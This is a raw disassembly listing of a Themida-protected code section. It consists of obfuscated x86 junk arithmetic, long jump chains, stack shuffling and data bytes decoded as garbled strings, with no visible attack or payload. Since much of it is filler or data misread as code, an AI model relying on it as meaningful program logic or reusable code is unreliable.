--------------------------------------------------------------------------- aNwsY db '╜WИ╦y',0 ; DATA XREF: Themida_:0058B2DCo align 2 dw 0F381h dd 0B03EDDC3h, 0E95BDD21h, 59F5h, 0B0054048h, 35793840h dd 6F145D9Ah, 54E9C501h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C623: ; CODE XREF: Themida_:0058CF30j add dl, 0FFh jmp loc_596E80 ; --------------------------------------------------------------------------- aISup db '┴$$И⌠P',0 dw 0F600h dd 8F8A0FD8h, 0E9000086h, 6ECDh, 8E7C166h, 5E7C166h db 88h, 0FBh ; --------------------------------------------------------------------------- loc_58C64A: ; CODE XREF: Themida_:00593E02j push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] pop esp add esp, 4 idiv ecx push 7870h mov [esp], edx push eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58C66F: ; CODE XREF: Themida_:0059216Ej dec esi xor esi, 17E37384h add ebp, esi pop esi add ebp, 4 jmp loc_594071 ; --------------------------------------------------------------------------- loc_58C681: ; CODE XREF: Themida_:00593313j sub esi, 239398Bh pop eax jmp loc_594979 ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 0E9000000h, 1E22h aMsfs db '╛И■s',0 ; DATA XREF: Themida_:0058B2D4o align 2 loc_58C69E: ; CODE XREF: Themida_:0058BE68j mov esp, [esp] mov [esp], ebx jmp loc_58CF0B ; --------------------------------------------------------------------------- db 5Bh, 0B3h, 4Bh dd 0C8BCB30h, 4C48324h, 0F607EBC0h, 60EB80D3h, 8F2C6B2Ch dd 8F04D828h, 685B6B04h, 7FAFh, 0FFFCF7E9h, 0F665CFFh dd 9C2404BBh, 0FFEC9EE9h, 0A90435FFh, 0C501A452h, 74FF5558h dd 8F5D0424h, 815C2404h, 65402404h, 81535E93h, 4ECh, 242C8900h dd 0B557A368h, 242C8B75h, 4C481h, 0E5C10000h, 6EDC104h dd 0C3CAC581h, 0A9E90795h, 68000018h, 4, 5DEF015Dh, 39C7E9h db 0 ; --------------------------------------------------------------------------- loc_58C72D: ; CODE XREF: Themida_:00594DC0j add ebx, 0D4E2F3Bh sub ebx, 6A024FECh add ebx, 0CC0791h add ebx, edx sub ebx, 0CC0791h add ebx, 6A024FECh push ebp mov ebp, 6A2F6AF6h inc ebp jmp loc_591561 ; --------------------------------------------------------------------------- loc_58C759: ; CODE XREF: Themida_:005952A2j push eax push ebp mov ebp, 8B829B3h mov eax, 12C9E0A6h jmp loc_591F09 ; --------------------------------------------------------------------------- dd offset dword_4E02B8+7831h db 0 ; --------------------------------------------------------------------------- loc_58C76F: ; CODE XREF: Themida_:00593591j add edx, ecx pop ecx sub esp, 4 mov [esp], eax mov eax, 290278F0h add edx, eax pop eax sub edx, eax sub edx, 290278F0h sub esp, 4 mov [esp], esi mov esi, 5B760B4Dh add esi, 0C6F25D57h add edx, 2DDD22CFh sub edx, 5936073Fh sub edx, esi add edx, 5936073Fh push eax mov eax, 76946A56h or eax, 78071616h not eax xor eax, 0ACB5A366h jmp loc_58B7A4 ; --------------------------------------------------------------------------- dw 0D801h dd 2404875Bh, 0E924248Bh, 459Ch ; --------------------------------------------------------------------------- loc_58C7D8: ; CODE XREF: Themida_:0058CA07j add al, 7 and al, 0A0h jmp loc_58B3A4 ; --------------------------------------------------------------------------- loc_58C7E1: ; CODE XREF: Themida_:0058F53Dj pop ebp pop esi add esi, 4 add esi, 4 xor esi, [esp] jmp loc_5936FF ; --------------------------------------------------------------------------- loc_58C7F7: ; CODE XREF: Themida_:00590C95j mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_58E2BD ; --------------------------------------------------------------------------- dd 36A9C681h, 0EEC13683h, 0F4C3E905h, 0BD55FFFFh, 7ACF46FDh dd 0B82507BFh, 5DEF314Fh, 39E5E9h, 39466800h, 1C890000h dd 81E38924h, 4C3h, 0B8505700h, 9D73ADEh, 0AC2678BFh, 58C73178h dd 6712E9h db 0 ; --------------------------------------------------------------------------- loc_58C84D: ; CODE XREF: Themida_:00597966j shl edx, 3 add edx, 730C239Dh xor esi, edx pop edx jmp loc_58BE6D ; --------------------------------------------------------------------------- loc_58C85E: ; CODE XREF: Themida_:0058C289j xor bl, al movzx eax, al jmp loc_597BB4 ; --------------------------------------------------------------------------- dd 80E9D8F6h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C86F: ; CODE XREF: Themida_:0058F598j mov [esp], edi mov edi, 6ACC049Dh inc edi jmp loc_594C1F ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 4C381h, 0C3830000h, 241C3302h, 7149E9h, 0E2CB8100h dd 0F0A8518h, 0FFF2E38Ah, 6B84E9FFh, 815B0000h, 19294FE5h dd 51E0805Fh, 24048151h, 336561ACh, 0B9BF575Eh, 0C1120F66h dd 0EFC105E7h, 9EE78107h, 814FEA03h, 7B52C0F7h, 56B95147h dd 0E90D9A6Eh, 0AB17h ; --------------------------------------------------------------------------- loc_58C8D8: ; CODE XREF: Themida_:0058F7DBj dec edi push esi mov esi, 1ABC7A65h sub esi, 58822718h shl esi, 3 push eax mov eax, 29537A9Fh not eax jmp loc_591141 ; --------------------------------------------------------------------------- loc_58C8F5: ; CODE XREF: Themida_:005970BCj mov bl, ah mov dl, bl pop ebx mov eax, [esp] jmp loc_59199E ; --------------------------------------------------------------------------- loc_58C902: ; CODE XREF: Themida_:0058EEC9j ; Themida_:loc_591E76j add edi, 4 sub esp, 4 mov [esp], ebp push edx push ebp jmp loc_597732 ; --------------------------------------------------------------------------- dd 5F2434FFh, 5585450h, 4, 405h, 24048700h, 0D829665Ch dd 0BF665766h, 1667FB7h, 0E95F66F8h, 0AD63h ; --------------------------------------------------------------------------- loc_58C940: ; CODE XREF: Themida_:005939D5j mov eax, ecx jmp loc_596AE5 ; --------------------------------------------------------------------------- loc_58C947: ; CODE XREF: Themida_:0059736Dj and edx, 6ED22E4Fh sub edx, 30D45494h jle loc_58F34D xor edx, 0A36590BEh jmp loc_58BACE ; --------------------------------------------------------------------------- dd 6BF8355Dh, 0C301A9F5h, 0E9DF8958h, 4CECh, 48BC201h dd 4C48324h, 5C241487h, 4C181h, 0C1810000h, 2, 31240C33h dd 0C33240Ch, 24248B24h, 2896664h, 0FFE9DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_58C9A1: ; CODE XREF: Themida_:0058F871j add ebx, 0E54FD582h jmp loc_58EEEB ; --------------------------------------------------------------------------- dd 0F3648D0Fh, 0E956FFFFh, 0FFFFEFCFh, 0EB80D328h db 0EFh, 55h ; --------------------------------------------------------------------------- loc_58C9BE: ; CODE XREF: Themida_:00595266j mov ebp, 713C3141h dec ebp push esi mov esi, 7CA2012Dh sub ebp, esi pop esi push esi mov esi, 0F49A3017h xor ebp, esi jmp loc_58DBA6 ; --------------------------------------------------------------------------- dw 203h dd 158CE95Ah, 815B0000h, 0F14287C1h, 23D4E925h, 34890000h dd 5E94BE24h, 0C68156ECh, 204325A2h, 0FFFFABE9h db 0FFh ; --------------------------------------------------------------------------- loc_58CA01: ; CODE XREF: Themida_:0058E1B6j mov al, 9Eh xor al, 0E5h xor al, 5Ch jmp loc_58C7D8 ; --------------------------------------------------------------------------- dword_58CA0C dd 81D831ADh, 4ECh, 241C8900h, 92FCE951h db 2 dup(0) word_58CA1E dw 48Bh ; DATA XREF: Themida_:0058B280o dd 4EC8324h, 89241C89h, 5C9068E3h, 2C890000h, 4BD24h, 0C3810000h dd 723A2BADh, 0EB81EB01h, 723A2BADh, 0E952505Dh, 8BD3h ; --------------------------------------------------------------------------- loc_58CA4C: ; CODE XREF: Themida_:00597B5Bj pop esp add eax, ebx push edx mov edx, 42A0936h add eax, edx pop edx pop ebx sub esp, 4 jmp loc_58FADD ; --------------------------------------------------------------------------- aIaPsI db '(К─ц╞Ия⌡',0 db 0 byte_58CA6B db 0F7h ; DATA XREF: Themida_:0058B11Co dd 0E99C241Ch, 0B61Ah, 2EFDF181h, 895661E0h, 0E47E9CEh dd 0B9510000h, 4, 0FFEE7DE9h db 0FFh byte_58CA8D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058B128o aStsxz db '$STИXZ',0 align 4 loc_58CA98: ; CODE XREF: Themida_:loc_58DD2Aj dec ebx jge loc_59659B sub ebx, 33AA6E9Bh mov ecx, ebx add al, 0EAh mov dl, al neg dh add dh, 4Eh push 4A69h mov [esp], edx mov dl, 0F1h not dl sub dl, 0AEh add al, dl push dword ptr [esp] pop edx add esp, 4 add al, dh jmp loc_5923B8 ; --------------------------------------------------------------------------- loc_58CAD2: ; CODE XREF: Themida_:0058FBD5j pop esi shr edi, 1 push ebp push edi mov edi, 5EB42B6h mov ebp, 22D23F5h add ebp, edi mov edi, [esp] add esp, 4 xor ebp, 56C529A2h xor edi, ebp pop ebp sub edi, 5F5F4B49h mov ecx, edi pop edi mov edx, ecx mov ecx, [esp] push 12FDh mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_58D265 ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 405h, 40500h, 4870000h, 4465E924h, 37680000h, 89000043h dd 0F5E9241Ch, 89000038h, 5506E9E6h, 14890000h, 0E21BA24h dd 0EAC17313h, 2B840F02h, 4A000051h, 5768E9h db 0 ; --------------------------------------------------------------------------- loc_58CB61: ; CODE XREF: Themida_:0058CBFAj sub al, 30h sub al, bl add al, 30h add al, 6 push 5C8Dh mov [esp], ecx mov cl, 98h push 0 sub [esp], cl jmp loc_59021E ; --------------------------------------------------------------------------- loc_58CB80: ; CODE XREF: Themida_:0058F945j push eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58CB87: ; CODE XREF: Themida_:0058DBC9j add al, bl add al, 10h push ebx jmp loc_590F51 ; --------------------------------------------------------------------------- loc_58CB91: ; CODE XREF: Themida_:0058DC85j push eax mov al, 0AFh jmp loc_58E1AC ; --------------------------------------------------------------------------- db 0E9h, 8, 22h dd 0E3C10000h, 3EBC107h, 8DFEE9h db 0 ; --------------------------------------------------------------------------- loc_58CBA9: ; CODE XREF: Themida_:00591C6Dj push 6353h jmp loc_59741B ; --------------------------------------------------------------------------- loc_58CBB3: ; CODE XREF: Themida_:0058F1BCj add edi, 4 jmp loc_5909BD ; --------------------------------------------------------------------------- loc_58CBBE: ; CODE XREF: Themida_:0059246Dj add esp, 2 jmp loc_590458 ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 4B09685Ch, 2C890000h, 24BD24h, 0E9530000h dd 0A726h ; --------------------------------------------------------------------------- loc_58CBE0: ; CODE XREF: Themida_:00590459j mov cl, 38h push ebx mov bl, 0B7h sub cl, bl pop ebx xor cl, 99h and cl, 33h add cl, 0F8h sub cl, 0FEh add cl, 0FCh sub al, cl pop ecx jmp loc_58CB61 ; --------------------------------------------------------------------------- loc_58CBFF: ; CODE XREF: Themida_:0058F17Fj pop ebp sub esp, 4 jmp loc_595D11 ; --------------------------------------------------------------------------- loc_58CC0B: ; CODE XREF: Themida_:0058FCCCj add ebp, edi jmp loc_58C3E1 ; --------------------------------------------------------------------------- dw 0BF57h dd 0ECEFDDFCh, 3C8BFE29h, 2EA7E924h, 0CE290000h, 81C60159h dd 100DCDC6h, 7B36682Fh, 4890000h, 35EB824h, 56574CEFh dd 5F3DBC68h, 0ECB0E92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CC46: ; CODE XREF: Themida_:loc_58E6FAj xor ebp, 62354324h xor ebp, 417439C1h jmp loc_58C0EC ; --------------------------------------------------------------------------- loc_58CC57: ; CODE XREF: Themida_:00593D6Ej ; DATA XREF: Themida_:0058B230o mov ax, [esp] sub esp, 4 jmp loc_58F289 ; --------------------------------------------------------------------------- loc_58CC63: ; CODE XREF: Themida_:00597983j mov ecx, 77C37F4h shr ecx, 8 xor ecx, 1FC50233h xor ecx, 1FC27E00h add ebx, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, 4 xchg ebx, [esp] pop esp pop esi push 79CDh mov [esp], ebx push 10A445FEh pop ebx push ebx jmp loc_58F079 ; --------------------------------------------------------------------------- loc_58CCA8: ; CODE XREF: Themida_:00592D24j pop ecx add bl, al pop ax jmp loc_58E37E ; --------------------------------------------------------------------------- dw 814Fh dd 34783DF7h, 0E9DFF709h, 4A6Ch ; --------------------------------------------------------------------------- loc_58CCC0: ; CODE XREF: Themida_:0058DAF5j pop edx sub esp, 4 mov [esp], ebx add dword ptr [esp], 253F0212h jmp loc_595ACA ; --------------------------------------------------------------------------- loc_58CCD6: ; CODE XREF: Themida_:0058C585j mov [esp], eax push ecx jmp loc_59365E ; --------------------------------------------------------------------------- loc_58CCDF: ; CODE XREF: Themida_:0058E226j sub al, 0AEh add al, 44h xor al, 0ABh jmp loc_5914BF ; --------------------------------------------------------------------------- dw 92BBh dd 1C4A741h, 5185E9DEh, 15680000h, 8900000Dh, 0C7682414h dd 8B4C9307h, 0C4832414h, 0ACE28104h, 0F02DA40h, 23AB81h dd 7C32E900h, 5580000h, 4 ; --------------------------------------------------------------------------- loc_58CD20: ; CODE XREF: Themida_:0058D23Ej mov [esp], ecx mov ecx, 4EBE6BE2h jmp loc_596DEA ; --------------------------------------------------------------------------- loc_58CD2D: ; CODE XREF: Themida_:005970EFj add eax, 789B662Ah jmp loc_58E6FF ; --------------------------------------------------------------------------- db 83h dd 34E9FFC5h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CD3F: ; CODE XREF: Themida_:0059326Dj or cl, 0BEh sub cl, 64h add cl, 39h add al, cl pop ecx sub esp, 4 jmp loc_58D5F6 ; --------------------------------------------------------------------------- aUxfqU db '(ЦXfQ╣⌠',0 aIfysW db 'КfYИьw',0 dw 3300h dd 248B241Ch, 4016624h, 86E99C24h, 83000089h, 3C8704C7h dd 3E51E924h, 0BD550000h, 2E6478F9h, 84E9E829h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CD8B: ; CODE XREF: Themida_:0059596Bj add eax, 71F0FFCAh sub edx, 45F2794Ch add edx, eax add edx, 45F2794Ch pop eax add edx, ebp sub edx, 9D822ABh jmp loc_59759C ; --------------------------------------------------------------------------- loc_58CDAC: ; CODE XREF: Themida_:0058BA7Bj jz loc_595B9B add eax, 708D0E16h jle loc_58B6D5 or eax, 310C08A5h jmp loc_58E77C ; --------------------------------------------------------------------------- db 0FFh dd 0E5ADE930h, 0C481FFFFh, 4, 39DD2D5Fh, 0E8296D83h, 8339DD05h dd 242C8B6Dh, 0E9E08950h, 653Bh, 0E6895657h, 4C681h, 0EE830000h dd 7693E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58CDFE: ; CODE XREF: Themida_:00594752j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_597FD8 ; --------------------------------------------------------------------------- db 80h, 0C3h, 10h dd 0C08CC380h, 0EB8003E3h, 7C13E995h, 0C5010000h, 85ED8158h dd 0F74BCF41h, 5B951D5h, 0C1204867h, 814107E9h, 76593DE9h dd 1F64E90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_58CE42: ; CODE XREF: Themida_:0058F2CFj ; DATA XREF: Themida_:0058B0D0o mov cx, [esp] sub esp, 4 jmp loc_590E13 ; --------------------------------------------------------------------------- loc_58CE4E: ; CODE XREF: Themida_:0058BA11j pop esi xor ebp, 263FC5C0h add esi, ebp pop ebp pop edx xchg esi, [esp] pop esp div cl movzx cx, ah sub esp, 4 mov [esp], ebp push esp pop ebp push ebx mov ebx, 4 add ebp, ebx jmp loc_58FB05 ; --------------------------------------------------------------------------- db 51h dd 6B0CE9h, 0E4F5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CE86: ; CODE XREF: Themida_:005932B9j mov esp, [esp] jmp loc_591690 ; --------------------------------------------------------------------------- dw 0B450h dd 0A3EC80DFh, 80C3F480h, 0F2E99CC1h, 83FFFFF9h, 2C8904ECh dd 815D5424h, 4C5h, 7730E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58CEB2: ; CODE XREF: Themida_:0059031Cj push ecx push esi mov esi, esp push edx jmp loc_597E12 ; --------------------------------------------------------------------------- dd 24348B66h, 6602C483h, 0C6816646h, 29660B18h, 24348BF0h dd 63F768h, 24048900h, 405E089h, 83000000h, 1C8904ECh dd 9DBF5724h, 0BB464A76h, 464A76A1h, 0E95FFB29h, 0FFFFF8D2h ; --------------------------------------------------------------------------- loc_58CEF8: ; CODE XREF: Themida_:0059539Aj push 0B1F7B09h pop ebp not ebp xor ebp, 199B757Dh jmp loc_596DD0 ; --------------------------------------------------------------------------- loc_58CF0B: ; CODE XREF: Themida_:0058C6A4j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_592581 ; --------------------------------------------------------------------------- loc_58CF1C: ; CODE XREF: Themida_:0058F35Cj mov dl, 58h xor dl, 0EFh jnp loc_593A74 or dl, 47h jge loc_58BF79 jmp loc_58C623 ; --------------------------------------------------------------------------- byte_58CF35 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058B1FCo dd 0F5E95324h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CF3F: ; CODE XREF: Themida_:0058E911j push edi mov edi, 609275F3h add eax, edi pop edi sub esp, 4 mov [esp], ebx mov ebx, 3E35260Eh add eax, ebx pop ebx add eax, edi sub eax, 3E35260Eh sub eax, 609275F3h jmp loc_59029B ; --------------------------------------------------------------------------- loc_58CF67: ; CODE XREF: Themida_:005931EAj add edi, 2 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mul cx push 44BEh mov [esp], edi mov edi, esp push eax jmp loc_591F10 ; --------------------------------------------------------------------------- loc_58CF87: ; CODE XREF: Themida_:00592F71j push esp mov ecx, [esp] add esp, 4 add ecx, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_58BC53 ; --------------------------------------------------------------------------- dw 248Bh db 24h ; --------------------------------------------------------------------------- loc_58CFB1: ; CODE XREF: Themida_:005901A8j push 2BF0h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] mov ebx, [esp] push 27C2h mov [esp], eax mov eax, esp push edi mov edi, 3B1D0D96h jmp loc_58C105 ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 5C24048Fh, 4C481h, 90E90000h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CFEB: ; CODE XREF: Themida_:0058B7D4j mov ecx, 1 add ebp, ecx pop ecx shr ebp, 7 inc ebp xor ebp, 0FB7758h sub edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] mov [esp], ebx sub esp, 4 mov [esp], esi mov esi, eax sub esp, 4 mov [esp], esi push dword ptr [esp] pop ebx push 6724h mov [esp], ebx jmp loc_597979 ; --------------------------------------------------------------------------- loc_58D02E: ; CODE XREF: Themida_:00590EDEj sub ebx, eax sub ebx, 313F7E33h push esi mov esi, esp jmp loc_595265 ; --------------------------------------------------------------------------- aYsx db 'YИЕ',0Bh,0 align 4 loc_58D044: ; CODE XREF: Themida_:0059259Dj pop edi add ebx, esi pop esi jmp loc_58F088 ; --------------------------------------------------------------------------- loc_58D04D: ; CODE XREF: Themida_:0059175Ej pop ebx jmp loc_58F818 ; --------------------------------------------------------------------------- db 52h dd 0A65FD1BAh, 0E9D0016Eh, 0FFFFE524h ; --------------------------------------------------------------------------- loc_58D060: ; CODE XREF: Themida_:005970D3j add esi, 4 jmp loc_58C0AF ; --------------------------------------------------------------------------- loc_58D06B: ; CODE XREF: Themida_:00592A58j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp xor eax, esi push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_590ECC ; --------------------------------------------------------------------------- db 89h dd 30B02404h, 0C5E9C834h, 5800004Dh, 467068h, 24348900h dd 0C681E689h, 4, 4BBA5250h, 0B87C0736h, 0C92227C8h, 6BAFE9h db 0 ; --------------------------------------------------------------------------- loc_58D0C9: ; CODE XREF: Themida_:00598661j push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_58F542 ; --------------------------------------------------------------------------- db 80h, 0F2h, 0D0h dd 0E95AD300h, 3DD7h ; --------------------------------------------------------------------------- loc_58D0E0: ; CODE XREF: Themida_:005955CAj add ebp, 7CF13C34h and ebp, 1C5C0486h inc ebp add ebp, 0EBB7FC01h jmp loc_58DA9F ; --------------------------------------------------------------------------- dd 24048F5Dh, 2434FF5Ch, 81240C8Bh, 4C4h, 9841E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D10E: ; CODE XREF: Themida_:005945DDj push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58DA0E ; --------------------------------------------------------------------------- loc_58D122: ; CODE XREF: Themida_:00594D72j sub edx, esi jmp loc_5917BF ; --------------------------------------------------------------------------- aSC db '^И╪C',0 db 0 ; --------------------------------------------------------------------------- loc_58D12F: ; CODE XREF: Themida_:0059324Bj xor eax, esi push dword ptr [esp] pop esi push ebx jmp loc_591D70 ; --------------------------------------------------------------------------- loc_58D13B: ; CODE XREF: Themida_:005970CCj jno loc_58FB55 xor edi, 361D27E2h mov ebp, edi pop edi push ebp loc_58D14B: ; CODE XREF: Themida_:0058FDF8j dec ebx inc ebx push ecx mov ecx, 70923E6Fh inc ecx sub ecx, 41E35554h shr ecx, 2 jmp loc_591C0E ; --------------------------------------------------------------------------- aIrsJ db '┴ЮИаJ',0 db 0 ; --------------------------------------------------------------------------- loc_58D169: ; CODE XREF: Themida_:00593CDAj neg esi js loc_5910A6 and esi, 37935EB4h neg esi jmp loc_591BCF ; --------------------------------------------------------------------------- loc_58D17E: ; CODE XREF: Themida_:0058E9E9j mov [esp], dx push ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D18A: ; CODE XREF: Themida_:0058FD8Cj add bl, cl pop ecx push edx jmp loc_59698D ; --------------------------------------------------------------------------- aISdf db '┴пИ╓f',0 align 2 loc_58D19A: ; CODE XREF: Themida_:005949C7j pop esi add esp, 4 jmp loc_5914C6 ; --------------------------------------------------------------------------- loc_58D1A3: ; CODE XREF: Themida_:0058C0B8j and esi, 7749464Dh jmp loc_595A6A ; --------------------------------------------------------------------------- loc_58D1AE: ; CODE XREF: Themida_:0058C2F2j push ecx sub dword ptr [esp], 4D6E69F1h jmp loc_5983C0 ; --------------------------------------------------------------------------- db 59h dd 0E904E883h, 893Ch, 5C240487h, 240C8B66h, 0FFF965E9h db 0FFh ; --------------------------------------------------------------------------- loc_58D1D1: ; CODE XREF: Themida_:00596E8Bj add esi, 3DC67BABh jnb loc_58BB6F xor esi, 2B7B0F78h js loc_597A34 pop esi loc_58D1EA: ; CODE XREF: Themida_:005983F6j pop ebp pop esi xchg edx, [esp] mov esp, [esp] mov [esp], ax jmp loc_58B37B ; --------------------------------------------------------------------------- db 89h dd 4BE56E0h, 1000000h, 24348BF0h, 5604C483h, 0DF4D5668h dd 0A54EE944h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D216: ; CODE XREF: Themida_:00593ECCj add edx, 4 sub esp, 4 mov [esp], esi mov esi, 4 add edx, esi pop esi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push 0F8Eh jmp loc_58CD20 ; --------------------------------------------------------------------------- loc_58D243: ; CODE XREF: Themida_:005973B2j sub ecx, 6E83192Bh shl ecx, 8 xor ecx, 7102604Bh jmp loc_58F7AD ; --------------------------------------------------------------------------- loc_58D257: ; CODE XREF: Themida_:00594570j pop ebx and ecx, ebp mov ebp, [esp] push ebx mov ebx, esp jmp loc_593D4D ; --------------------------------------------------------------------------- loc_58D265: ; CODE XREF: Themida_:0058CB1Cj pop esp loc_58D266: ; CODE XREF: Themida_:0059339Ej ; Themida_:00594AB5j push dword ptr [edi+24h] jmp loc_5938B3 ; --------------------------------------------------------------------------- loc_58D26E: ; CODE XREF: Themida_:0058EEC2j push 1F7Bh mov [esp], ecx mov ecx, 2 add eax, ecx jmp loc_58EEF9 ; --------------------------------------------------------------------------- loc_58D282: ; CODE XREF: Themida_:00594744j push esp mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], eax push edx mov edx, 6FBC7107h add edx, 2506472Ch jnp loc_5982EA add edx, 34826E12h jp loc_5920B2 not edx jmp loc_59261E ; --------------------------------------------------------------------------- loc_58D2C7: ; CODE XREF: Themida_:00594CF4j sub ebx, 33AA6E9Bh mov ecx, ebx pop ebx sub ebp, ecx push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi jmp loc_596F8C ; --------------------------------------------------------------------------- aUaSaRaBqst db '╡U─Й≥─йЮ─Й║QИT~',0 db 0 ; --------------------------------------------------------------------------- loc_58D2FD: ; CODE XREF: Themida_:005932F3j jmp loc_58D5C8 ; --------------------------------------------------------------------------- loc_58D302: ; CODE XREF: Themida_:00592EE6j push edi mov edi, 5F140255h and edi, 7F370B75h shl edi, 3 sub edi, 0C73FB18Ah sub ebp, edi pop edi pop edx xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, esp push edi mov edi, 2AB3292Ah shr edi, 8 xor edi, 36DC52A1h jmp loc_5965D9 ; --------------------------------------------------------------------------- loc_58D338: ; CODE XREF: Themida_:00595FBAj add edx, esi add edx, 480F25B0h pop esi push ecx jmp loc_590754 ; --------------------------------------------------------------------------- db 0E9h dd 9C22h ; --------------------------------------------------------------------------- loc_58D34C: ; CODE XREF: Themida_:0058ED8Dj xchg eax, ecx not ecx xchg eax, ecx xchg eax, [esp] push dword ptr [esp] jmp loc_597A44 ; --------------------------------------------------------------------------- loc_58D35B: ; CODE XREF: Themida_:0059255Fj pop ebp jmp loc_590B9A ; --------------------------------------------------------------------------- loc_58D361: ; CODE XREF: Themida_:00590390j add cl, dl jmp loc_59416A ; --------------------------------------------------------------------------- loc_58D368: ; CODE XREF: Themida_:005976EDj mov ecx, [esp] add esp, 4 jmp loc_58F11D ; --------------------------------------------------------------------------- db 5 dd 4, 6F0CBF57h, 0C7815D94h, 0A26B90F8h, 0E95FF801h, 2967h dd 0AE9C828h, 3000002Dh, 285A66D7h, 0F8285BF8h, 6E9F68h dd 5688E900h, 0D0E90000h, 5BFFFFDFh, 8704C483h, 0E4E92434h dd 0F6FFFFECh, 3E8C0D0h, 0FAFA880Fh, 0F4E9FFFFh db 6Dh, 2 dup(0) byte_58D3C7 db 66h ; DATA XREF: Themida_:0058B284o dd 68240C8Bh, 49F3h, 54240C89h, 8C39E9h db 0 ; --------------------------------------------------------------------------- loc_58D3D9: ; CODE XREF: Themida_:0058D7B9j xor [esp], ecx xor ecx, [esp] pop esp bt [esp], eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D3EA: ; CODE XREF: Themida_:00592932j sub edi, ebx pop ebx xor edi, 0A44BFA21h mov ecx, edi pop edi sub ecx, 0FFFFFFFFh add ecx, 0E41FC824h sub ecx, 257131ADh jmp loc_5923E3 ; --------------------------------------------------------------------------- dw 0E0C0h dd 0FE592403h, 0F6B252C0h, 3070F280h, 1044E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D41E: ; CODE XREF: Themida_:0059816Aj pop edi add esp, 4 or edx, eax shl edx, 1 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ecx push esi mov esi, 396F49F1h and esi, 485B062Fh jmp loc_596DFB ; --------------------------------------------------------------------------- dw 0ED81h dd 450F09CAh, 2EE9FD01h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58D45F: ; CODE XREF: Themida_:0058FA72j pop ecx sub edi, 3893748Eh push ecx mov ecx, 5D071E56h add ecx, 0C5040563h sub edi, ecx jmp loc_58D639 ; --------------------------------------------------------------------------- loc_58D479: ; CODE XREF: Themida_:0058F625j add cl, 0D8h add dl, cl pop ecx jmp loc_58DB25 ; --------------------------------------------------------------------------- dd 15DEB29h, 0E95E5BDFh, 0FFFFF8E3h ; --------------------------------------------------------------------------- loc_58D490: ; CODE XREF: Themida_:0058BB10j ; Themida_:00596EA3j shl edi, 2 js loc_59854B xor edi, 0A7B55F74h mov ebp, edi pop edi push ebp push 14D15D95h pop edi neg edi xor edi, 0B524B16Dh mov eax, edi pop edi add esi, 29720344h jmp loc_58DE1B ; --------------------------------------------------------------------------- db 1 aWsO db 'пWИ[╝',0 db 0 ; --------------------------------------------------------------------------- loc_58D4C7: ; CODE XREF: Themida_:loc_596F4Dj push esi push edx mov edx, 7A2044AFh mov esi, 96B765A4h sub esi, 74E31A34h sub esi, edx add esi, 74E31A34h pop edx inc esi shr esi, 5 xor esi, 112D7421h xor eax, esi pop esi jmp loc_5964ED ; --------------------------------------------------------------------------- dd 57D3F74Bh, 4673AABFh, 0AFE9476Fh db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D503: ; CODE XREF: Themida_:005969E5j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D508: ; CODE XREF: Themida_:005927E8j inc eax jmp loc_5958D1 ; --------------------------------------------------------------------------- loc_58D50E: ; CODE XREF: Themida_:00595545j mov [esp], ebx jmp loc_594757 ; --------------------------------------------------------------------------- loc_58D516: ; CODE XREF: Themida_:0058F3E5j xor ebp, 76C3E44h jmp loc_58F91A ; --------------------------------------------------------------------------- loc_58D521: ; CODE XREF: Themida_:loc_58B536j push ebx mov ebx, 1F374C07h not ebx jmp loc_5965B3 ; --------------------------------------------------------------------------- aN1HI db '╜1ьh&I',0 ; DATA XREF: 